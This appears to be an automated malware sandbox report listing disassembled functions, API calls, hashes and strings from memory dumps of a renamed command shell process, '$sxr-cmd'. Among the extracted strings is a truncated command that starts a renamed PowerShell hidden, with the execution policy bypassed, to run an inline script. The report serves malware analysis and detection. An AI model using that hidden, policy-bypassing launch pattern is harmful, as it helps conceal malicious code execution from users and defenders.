Instruction ID: 7f0b74bb45eec5059da990e160074d66303e6b8c8f52cc8ab941cf5802f062d8
Opcode Fuzzy Hash: 3405b6d6aca030105382ba4e18177f2fb021de4e8f3198299b80cfe6290b74ba
Instruction Fuzzy Hash: C1417133619B8097E764CFA2E44879AB7B2F389B94F408125DB8D0BB55EF39D164CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155036EC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF615503715
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF615503770
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615503791
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61550E96E
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF61550E9A7
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61550E9D5

Strings

.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC, xrefs: 00007FF615503703

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: FileWrite$ByteCharMultiWide$_get_osfhandle
String ID: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
API String ID: 3249344982-2616576482
Opcode ID: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
Instruction ID: 25c29643cd10bd87944ff95a7902b9892a3f36112a78b5a939b306261901abfc
Opcode Fuzzy Hash: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
Instruction Fuzzy Hash: 3B416F76618F4186E7108F11A84437AFAA4FB89FE8F458235DA4D87BA5CF3CD9158B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615506A28 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 00007FF615506A73
wcschr.MSVCRT ref: 00007FF615506A91
wcschr.MSVCRT ref: 00007FF615506AB0
wcschr.MSVCRT ref: 00007FF615506AE3
wcschr.MSVCRT ref: 00007FF615506B01

Strings

<>+-*/%()|^&=,, xrefs: 00007FF615506A8A, 00007FF615506AF7
+-~!, xrefs: 00007FF615506AA9, 00007FF615506ADC

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$iswdigit
String ID: +-~!$<>+-*/%()|^&=,
API String ID: 2770779731-632268628
Opcode ID: 04afb1219d2367be7b294e05ecf67b56e7fd74584ee28e872d0024d55c3108eb
Instruction ID: a8881172c478a724567cf0ce1745b6803f311b699632773467858ef5f8745331
Opcode Fuzzy Hash: 04afb1219d2367be7b294e05ecf67b56e7fd74584ee28e872d0024d55c3108eb
Instruction Fuzzy Hash: 34313E76A08E56C5E7509F11E450278BBE0FB49F69B698136DA4DC7764EF3CE804C710

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B5F6A90 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000020D0B5F6AB8
__scrt_acquire_startup_lock.LIBCMT ref: 0000020D0B5F6B0A
_RTC_Initialize.LIBCMT ref: 0000020D0B5F6B38
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000020D0B5F6B5E
__scrt_release_startup_lock.LIBCMT ref: 0000020D0B5F6B89

Memory Dump Source

Source File: 00000010.00000002.2907026637.0000020D0B5F0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000020D0B5F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b5f0000_$sxr-cmd.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction ID: 4926955a7591a6564aaa11b3223f02b4951c6af9ffa7b7f8394ee2063b7cdf71
Opcode Fuzzy Hash: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction Fuzzy Hash: 0781F42161E34386FA50ABE79C4C35EABB3EB457A0F4444A5AA4D4BF97FB39C845C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B627690 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000020D0B6276B8
__scrt_acquire_startup_lock.LIBCMT ref: 0000020D0B62770A
_RTC_Initialize.LIBCMT ref: 0000020D0B627738
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000020D0B62775E
__scrt_release_startup_lock.LIBCMT ref: 0000020D0B627789

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction ID: 75f5719f37d8fdb06d13ef41f00628fd018543a76fd951472ae878f9c677a3aa
Opcode Fuzzy Hash: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction Fuzzy Hash: A381D321A0FB418AFA549BE59849B7922B3A745BB0FD48425DA0D4F797FF3BCC418700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551D878 Relevance: 12.1, APIs: 8, Instructions: 89fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF61551D899
FlushFileBuffers.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551D8A8
_get_osfhandle.MSVCRT ref: 00007FF61551D8D7
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551D8F1
_get_osfhandle.MSVCRT ref: 00007FF61551D8FF
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551D921
_get_osfhandle.MSVCRT ref: 00007FF61551D969
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551D983

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: File_get_osfhandle$Pointer$BuffersFlushRead
String ID:
API String ID: 3192234081-0
Opcode ID: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
Instruction ID: 0334856e89b555fc58403afa2cf52b7c88c7028b85f811103a3abaf02f578bfe
Opcode Fuzzy Hash: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
Instruction Fuzzy Hash: BB317035608A41CBE714AF25A44467DFBA1FB89FA0F459234DE9A877A6CF3CD8018B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615501630 Relevance: 10.7, APIs: 7, Instructions: 208memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,00000000,?,00007FF6155014D6,?,?,?,00007FF6154FAA22,?,?,?,00007FF6154F847E), ref: 00007FF615501673
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF6155014D6,?,?,?,00007FF6154FAA22,?,?,?,00007FF6154F847E), ref: 00007FF61550168D
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF6155014D6,?,?,?,00007FF6154FAA22,?,?,?,00007FF6154F847E), ref: 00007FF615501757
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF6155014D6,?,?,?,00007FF6154FAA22,?,?,?,00007FF6154F847E), ref: 00007FF61550176E
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF6155014D6,?,?,?,00007FF6154FAA22,?,?,?,00007FF6154F847E), ref: 00007FF615501788
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF6155014D6,?,?,?,00007FF6154FAA22,?,?,?,00007FF6154F847E), ref: 00007FF61550179C

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$Alloc$Size
String ID:
API String ID: 3586862581-0
Opcode ID: de24f60fade2ea1a8e9170476ea6e59d916578871a0233016ef2ac0a8793df42
Instruction ID: ef4af5e63cd71ddbc16b8a5a216859c4fee081dc597503c0382926c8d2874c3f
Opcode Fuzzy Hash: de24f60fade2ea1a8e9170476ea6e59d916578871a0233016ef2ac0a8793df42
Instruction Fuzzy Hash: 5591593AA09E4681EB549B19E850279B7A0FF44FA8F598136DA4EC37B0DF3CE941C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155086F0 Relevance: 10.7, APIs: 7, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6155088C0: NtOpenThreadToken.NTDLL ref: 00007FF6155088E7
Part of subcall function 00007FF6155088C0: NtOpenProcessToken.NTDLL ref: 00007FF615508907
Part of subcall function 00007FF6155088C0: NtClose.NTDLL ref: 00007FF61550896C

SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF6155087D7
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF615508807
RtlNtStatusToDosError.NTDLL ref: 00007FF61551517E
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61551518C
GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF6155151FD
wcsstr.MSVCRT ref: 00007FF615515219
wcsstr.MSVCRT ref: 00007FF615515236

Part of subcall function 00007FF61550885C: FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF6155088A2

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleErrorOpenTitleTokenwcsstr$CloseFormatFreeLastLocalMessageProcessStatusThread
String ID:
API String ID: 1313749407-0
Opcode ID: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
Instruction ID: 85bc954d75da018bcd9305005a9935087306d8b7e2c5e27ed7e06886d7f6ed1e
Opcode Fuzzy Hash: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
Instruction Fuzzy Hash: D451E52AA08E8282FA149F2598146B9E691BF49FB8F484135DD1ED73F5EF3CEC418700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551EC14 Relevance: 10.6, APIs: 7, Instructions: 121COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF61551EC73

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF61551EE0A

Part of subcall function 00007FF61550081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF61550084E

SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF61551ECD5
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61551ECED
SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF61551ED9C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61551EDAC
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61551EDC8

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Error$CurrentDirectoryModememset$EnvironmentLastVariable
String ID:
API String ID: 920682188-0
Opcode ID: be4b77dfe7ad7769add329515d440734d7951c7df2e85f8d66a750b62f7777ce
Instruction ID: d97248fbef8d504284c1c69bebd6fb39b439c221fd4cbe11c58ea220f0e03d94
Opcode Fuzzy Hash: be4b77dfe7ad7769add329515d440734d7951c7df2e85f8d66a750b62f7777ce
Instruction Fuzzy Hash: FE51383A705B818AEB25DF20D8542E8B7A1FB88F98F058139CA4D87764EF3CDA55C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FDF60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,00000000,00007FF6154FCEAA), ref: 00007FF6154FDFB8
RtlFreeHeap.NTDLL ref: 00007FF6154FDFCC
_setjmp.MSVCRT ref: 00007FF6154FE03E

Strings

C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZX, xrefs: 00007FF6154FE00B

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$FreeProcess_setjmp
String ID: C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZX
API String ID: 777023205-2484198049
Opcode ID: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
Instruction ID: f632c45d47c45012cc09f57fd8fdcc40d13c03fb329e13bd4fed60805d4662e7
Opcode Fuzzy Hash: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
Instruction Fuzzy Hash: 9251193990DE528AEA90CF19A880178F7A0BF49F79F555536D94EC26B5EF3CAC60C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FF5D7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

iswspace.MSVCRT ref: 00007FF6154FF1BA
wcschr.MSVCRT ref: 00007FF6154FF1E7
iswdigit.MSVCRT ref: 00007FF6154FF1FF
iswdigit.MSVCRT ref: 00007FF6154FF2BB

Strings

), xrefs: 00007FF6154FF18C
=,;, xrefs: 00007FF6154FF1CE

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: iswdigit$iswspacewcschr
String ID: )$=,;
API String ID: 1959970872-2167043656
Opcode ID: e8a5d63c360e4c13ef561f3ce3dd80187a3c2d8689f5c743dd181e811bfffbc3
Instruction ID: 745025a102bbdd78b00492d41132b255e2f846995157a0dd2a464cfd47f0cba7
Opcode Fuzzy Hash: e8a5d63c360e4c13ef561f3ce3dd80187a3c2d8689f5c743dd181e811bfffbc3
Instruction Fuzzy Hash: 11418E69E08E17A7FBA48B2C9544279F6A0AF10F74F445033C95DC25B4EF3CAC618B80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155191B8 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6155191FF
wcsrchr.MSVCRT ref: 00007FF615519232
_wcsnicmp.MSVCRT ref: 00007FF615519285

Strings

%s, xrefs: 00007FF615519298
Null environment, xrefs: 00007FF6155191F1
CMD Internal Error %s, xrefs: 00007FF6155191F8

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsnicmpfprintfwcsrchr
String ID: CMD Internal Error %s$%s$Null environment
API String ID: 3625580822-2781220306
Opcode ID: 9798a54e4fc5b33e689a2c9d89df2130ab496e8d723cbfb9f498f453c0192420
Instruction ID: d7d1a7e60d856ba20983ea8adc5d7b1e7c465e429e045829185369bb7cf4f98a
Opcode Fuzzy Hash: 9798a54e4fc5b33e689a2c9d89df2130ab496e8d723cbfb9f498f453c0192420
Instruction Fuzzy Hash: 1131D429A08E4692EA149F92A5401BAFAB0BF45FB4F444135CD2E9B7B5EF3CEC55C300

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B6298A4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0000020D0B629929
GetLastError.KERNEL32 ref: 0000020D0B629937
LoadLibraryExW.KERNEL32 ref: 0000020D0B629961
FreeLibrary.KERNEL32 ref: 0000020D0B6299A7
GetProcAddress.KERNEL32 ref: 0000020D0B6299B3

Strings

api-ms-, xrefs: 0000020D0B629949

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b9fc0f4bc552b3b3a9613ae8c221c9ea50584cfdf87ea6a2e8fae9693c69d0a1
Instruction ID: ac16e51702db152b7354d9f0af860c22bf308e468b7951b7b5f77b4c33d962d8
Opcode Fuzzy Hash: b9fc0f4bc552b3b3a9613ae8c221c9ea50584cfdf87ea6a2e8fae9693c69d0a1
Instruction Fuzzy Hash: 5E31B03161BF4091FE15DB86A80979963B6BB88BB4F990535EE2D4E3C6FF3AC0448300

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B631C3C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000020D0B631C6D
GetLastError.KERNEL32 ref: 0000020D0B631C79
CloseHandle.KERNEL32 ref: 0000020D0B631C91
CreateFileW.KERNEL32 ref: 0000020D0B631CBC
WriteConsoleW.KERNEL32 ref: 0000020D0B631CDB

Strings

CONOUT$, xrefs: 0000020D0B631C9D

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: f8e4fb7eb8850db5dfc64f60f3363a5c279c997be71987712cd29a709cc65782
Instruction ID: 023d4b828e78e936407d9e365cab6ceb2d800f2a5129076495838d2d11724087
Opcode Fuzzy Hash: f8e4fb7eb8850db5dfc64f60f3363a5c279c997be71987712cd29a709cc65782
Instruction Fuzzy Hash: D011BF21719B4086E350CB82E85831977B1F788FF4F840224EA5D8B7D5EF7EC9148744

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615501FAC Relevance: 9.3, APIs: 6, Instructions: 260COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF61550200F
wcsspn.MSVCRT ref: 00007FF615502226

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memsetwcsspn
String ID:
API String ID: 3809306610-0
Opcode ID: dc78cd9d6f231a5cf0425b770118c4c3823133ec0f4f9eb011d5dfda8e43b70b
Instruction ID: 0c6eaa80c011cc591941be8042d1a1025514b4b90c3863c70e574819712393fe
Opcode Fuzzy Hash: dc78cd9d6f231a5cf0425b770118c4c3823133ec0f4f9eb011d5dfda8e43b70b
Instruction Fuzzy Hash: B5B15D79A08E4686EA50CB15E4502BAA7A0FB45FE8F958032DA4EC77B5DF7DEC41C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B625CB0 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000020D0B625CEB
GetThreadContext.KERNEL32 ref: 0000020D0B625E55

Part of subcall function 0000020D0B625AE0: GetCurrentThreadId.KERNEL32 ref: 0000020D0B625AE4

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: a98e7eacdc5a578abce32cb4d6227d29aaf631d1a1811a31ba6b33f7cbd6c913
Instruction ID: db0dd7d2e6e7708f9ea3eb998b4af1b49bcaca688a2ad2a3de678c9c14c124ca
Opcode Fuzzy Hash: a98e7eacdc5a578abce32cb4d6227d29aaf631d1a1811a31ba6b33f7cbd6c913
Instruction Fuzzy Hash: BED1BC3620AF8885EA70DB5AE49835A77B1F788B94F504116EECD4BBA6DF3DC541CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615518C18 Relevance: 9.1, APIs: 6, Instructions: 145COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 00007FF615518C85
iswdigit.MSVCRT ref: 00007FF615518CA2
wcstol.MSVCRT ref: 00007FF615518CBF
wcschr.MSVCRT ref: 00007FF615518CF0
wcschr.MSVCRT ref: 00007FF615518D16
wcschr.MSVCRT ref: 00007FF615518D6A

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

